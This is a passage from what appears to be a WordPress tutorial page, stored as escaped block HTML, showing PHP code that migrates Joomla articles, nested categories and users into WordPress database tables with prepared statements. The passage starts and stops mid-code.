class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;post_title,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;post_name,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;post_content,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;post_date,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;post_modified,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;post_status,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;post_type,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;post_author<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;) VALUES (?, ?, ?, ?, ?, ?, &#8216;post&#8217;, 1)<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8220;;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$status = $article[&#8216;state&#8217;] == 1 ? &#8216;publish&#8217; : &#8216;draft&#8217;;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$stmt = $this-&gt;wpDB-&gt;prepare($insertQuery);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$stmt-&gt;execute([<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$article[&#8216;title&#8217;],<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$article[&#8216;alias&#8217;],<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$postContent,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$article[&#8216;created&#8217;],<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$article[&#8216;modified&#8217;],<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$status<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;]);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$postId = $this-&gt;wpDB-&gt;lastInsertId();<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/ Insert post metadata<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;insertPostMeta($postId, &#8216;joomla_id&#8217;, $article[&#8216;id&#8217;]);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;insertPostMeta($postId, &#8216;joomla_category&#8217;, $article[&#8216;category_title&#8217;]);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;private function insertPostMeta($postId, $metaKey, $metaValue) {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$stmt = $this-&gt;wpDB-&gt;prepare(&#8220;INSERT INTO wp_postmeta (post_id, meta_key, meta_value) VALUES (?, ?, ?)&#8221;);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$stmt-&gt;execute([$postId, $metaKey, $metaValue]);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>\/\/ Usage<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>$joomlaConfig = [<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&#8216;host&#8217; =&gt; &#8216;localhost&#8217;,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&#8216;db&#8217; =&gt; &#8216;joomla_db&#8217;,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&#8216;user&#8217; =&gt; &#8216;joomla_user&#8217;,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&#8216;pass&#8217; =&gt; &#8216;joomla_pass&#8217;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>];<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>$wpConfig = [<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&#8216;host&#8217; =&gt; &#8216;localhost&#8217;,&nbsp;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&#8216;db&#8217; =&gt; &#8216;wp_staging&#8217;,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&#8216;user&#8217; =&gt; &#8216;wp_user&#8217;,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&#8216;pass&#8217; =&gt; &#8216;wp_pass&#8217;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>];<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>$extractor = new JoomlaToWordPressExtractor($joomlaConfig, $wpConfig);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>$articles = $extractor-&gt;extractArticles();<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>$extractor-&gt;insertIntoWordPress($articles);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>echo &#8220;Migrated &#8221; . count($articles) . &#8221; articles successfully.\\n&#8221;;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>?&gt;<\/em><\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Phase 2: Category and Menu Migration<\/strong><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Joomla&#8217;s nested category system requires special handling:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&lt;?php<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>\/\/ joomla-categories.php<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>class JoomlaCategoryMigrator {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;private $joomlaDB;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;private $wpDB;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;public function migrateCategoriesWithHierarchy() {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/ Get Joomla categories with hierarchy<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$query = &#8220;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SELECT&nbsp;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;id,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;title,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;alias,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;description,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;parent_id,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;level,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;path<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FROM #__categories&nbsp;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;WHERE published = 1&nbsp;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;AND extension = &#8216;com_content&#8217;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ORDER BY level, lft<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8220;;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$stmt = $this-&gt;joomlaDB-&gt;prepare($query);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$stmt-&gt;execute();<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$categories = $stmt-&gt;fetchAll(PDO::FETCH_ASSOC);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$categoryMapping = [];<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;foreach ($categories as $category) {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$parentId = 0;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/ Find WordPress parent category<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if ($category[&#8216;parent_id&#8217;] &gt; 1) { \/\/ Joomla root is 1<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$parentId = $categoryMapping[$category[&#8216;parent_id&#8217;]] ?? 0;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/ Insert into WordPress<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$wpCatId = $this-&gt;insertWordPressCategory($category, $parentId);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$categoryMapping[$category[&#8216;id&#8217;]] = $wpCatId;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return $categoryMapping;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;private function insertWordPressCategory($joomlaCategory, $parentId) {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$stmt = $this-&gt;wpDB-&gt;prepare(&#8220;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;INSERT INTO wp_terms (name, slug) VALUES (?, ?)<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8220;);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$stmt-&gt;execute([$joomlaCategory[&#8216;title&#8217;], $joomlaCategory[&#8216;alias&#8217;]]);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$termId = $this-&gt;wpDB-&gt;lastInsertId();<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$stmt = $this-&gt;wpDB-&gt;prepare(&#8220;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;INSERT INTO wp_term_taxonomy (term_id, taxonomy, description, parent, count)&nbsp;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;VALUES (?, &#8216;category&#8217;, ?, ?, 0)<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8220;);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$stmt-&gt;execute([$termId, $joomlaCategory[&#8216;description&#8217;], $parentId]);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return $termId;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>?&gt;<\/em><\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Phase 3: User and Permission Migration<\/strong><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&lt;?php<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>\/\/ joomla-users.php<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>class JoomlaUserMigrator {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;public function migrateUsers() {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$query = &#8220;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SELECT&nbsp;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;u.id,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;u.username,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;u.email,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;u.password,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;u.registerDate,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;u.lastvisitDate,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;g.title as user_group<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FROM #__users u<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;LEFT JOIN #__user_usergroup_map ugm ON u.id = ugm.user_id<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;LEFT JOIN #__usergroups g ON ugm.group_id = g.id<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;WHERE u.block = 0<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8220;;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$stmt = $this-&gt;joomlaDB-&gt;prepare($query);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$stmt-&gt;execute();<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$users = $stmt-&gt;fetchAll(PDO::FETCH_ASSOC);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;foreach ($users as $user) {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$wpRole = $this-&gt;mapJoomlaRoleToWordPress($user[&#8216;user_group&#8217;]);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$stmt = $this-&gt;wpDB-&gt;prepare(&#8220;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;INSERT INTO wp_users (<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;user_login,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;user_email,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;user_pass,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;user_registered,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;user_status<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;) VALUES (?, ?, ?, ?, 0)<\/em><\/p>\n\n\n\n<p 